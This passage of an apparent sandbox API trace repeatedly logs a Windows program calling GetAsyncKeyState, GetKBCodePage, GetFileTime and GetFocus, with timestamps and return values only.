GetAsyncKeyState (vKey=58) returned 0 [0034.598] GetKBCodePage () returned 0x1b5 [0034.598] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.598] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.599] GetKBCodePage () returned 0x1b5 [0034.599] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.599] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.599] GetKBCodePage () returned 0x1b5 [0034.599] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.599] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.599] GetKBCodePage () returned 0x1b5 [0034.599] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.599] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.599] GetKBCodePage () returned 0x1b5 [0034.599] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.599] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.599] GetKBCodePage () returned 0x1b5 [0034.599] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.599] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.599] GetKBCodePage () returned 0x1b5 [0034.599] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.599] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.599] GetKBCodePage () returned 0x1b5 [0034.599] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.599] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.599] GetKBCodePage () returned 0x1b5 [0034.599] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.599] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.599] GetKBCodePage () returned 0x1b5 [0034.599] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.599] GetFocus () returned 0x0 [0034.599] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.600] GetFocus () returned 0x0 [0034.600] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.600] GetFocus () returned 0x0 [0034.600] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.600] GetFocus () returned 0x0 [0034.600] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.600] GetFocus () returned 0x0 [0034.600] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.600] GetFocus () returned 0x0 [0034.600] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.600] GetFocus () returned 0x0 [0034.600] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.600] GetFocus () returned 0x0 [0034.600] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.600] GetFocus () returned 0x0 [0034.600] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.600] GetFocus () returned 0x0 [0034.600] GetAsyncKeyState (vKey=58) returned 0 [0034.600] GetKBCodePage () returned 0x1b5 [0034.600] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.601] GetFocus () returned 0x0 [0034.601] GetAsyncKeyState (vKey=58) returned 0 [0034.601] GetKBCodePage () returned 0x1b5 [0034.601] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.601] GetFocus () returned 0x0 [0034.601] GetAsyncKeyState (vKey=58) returned 0 [0034.601] GetKBCodePage () returned 0x1b5 [0034.601] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.601] GetFocus () returned 0x0 [0034.601] GetAsyncKeyState (vKey=58) returned 0 [0034.601] GetKBCodePage () returned 0x1b5 [0034.601] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.601] GetFocus () returned 0x0 [0034.601] GetAsyncKeyState (vKey=58) returned 0 [0034.601] GetKBCodePage () returned 0x1b5 [0034.601] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.601] GetFocus () returned 0x0 [0034.601] GetAsyncKeyState (vKey=58) returned 0 [0034.601] GetKBCodePage () returned 0x1b5 [0034.601] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.601] GetFocus () returned 0x0 [0034.601] GetAsyncKeyState (vKey=58) returned 0 [0034.601] GetKBCodePage () returned 0x1b5 [0034.601] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.601] GetFocus () returned 0x0 [0034.601] GetAsyncKeyState (vKey=58) returned 0 [0034.601] GetKBCodePage () returned 0x1b5 [0034.601] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.601] GetFocus () returned 0x0 [0034.601] GetAsyncKeyState (vKey=58) returned 0 [0034.601] GetKBCodePage () returned 0x1b5 [0034.601] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.601] GetFocus () returned 0x0 [0034.601] GetAsyncKeyState (vKey=58) returned 0 [0034.601] GetKBCodePage () returned 0x1b5 [0034.601] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.602] GetAsyncKeyState (vKey=58) returned 0 [0034.602] GetKBCodePage () returned 0x1b5 [0034.602] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.602] GetAsyncKeyState (vKey=58) returned 0 [0034.602] GetKBCodePage () returned 0x1b5 [0034.602] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.602] GetAsyncKeyState (vKey=58) returned 0 [0034.602] GetKBCodePage () returned 0x1b5 [0034.602] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.602] GetAsyncKeyState (vKey=58) returned 0 [0034.602] GetKBCodePage () returned 0x1b5 [0034.602] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.602] GetAsyncKeyState (vKey=58) returned 0 [0034.602] GetKBCodePage () returned 0x1b5 [0034.602] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.602] GetAsyncKeyState (vKey=58) returned 0 [0034.602] GetKBCodePage () returned 0x1b5 [0034.602] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.602] GetAsyncKeyState (vKey=58) returned 0 [0034.602] GetKBCodePage () returned 0x1b5 [0034.602] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.602] GetAsyncKeyState (vKey=58) returned 0 [0034.602] GetKBCodePage () returned 0x1b5 [0034.602] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.602] GetAsyncKeyState (vKey=58) returned 0 [0034.602] GetKBCodePage () returned 0x1b5 [0034.602] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.602] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.603] GetKBCodePage () returned 0x1b5 [0034.603] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.603] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.603] GetKBCodePage () returned 0x1b5 [0034.603] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.603] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.603] GetKBCodePage () returned 0x1b5 [0034.603] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.603] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.603] GetKBCodePage () returned 0x1b5 [0034.603] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.603] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.603] GetKBCodePage () returned 0x1b5 [0034.603] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.603] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.603] GetKBCodePage () returned 0x1b5 [0034.603] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.603] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.603] GetKBCodePage () returned 0x1b5 [0034.603] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.603] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.603] GetKBCodePage () returned 0x1b5 [0034.603] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.603] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.603] GetKBCodePage () returned 0x1b5 [0034.603] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.603] GetFocus () returned 0x0 [0034.603] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.604] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.604] GetFocus () returned 0x0 [0034.604] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.604] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.604] GetFocus () returned 0x0 [0034.604] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.604] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.604] GetFocus () returned 0x0 [0034.604] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.604] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.604] GetFocus () returned 0x0 [0034.604] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.604] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.604] GetFocus () returned 0x0 [0034.604] GetAsyncKeyState (vKey=58) returned 0 [0034.604] GetKBCodePage () returned 0x1b5 [0034.604] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: 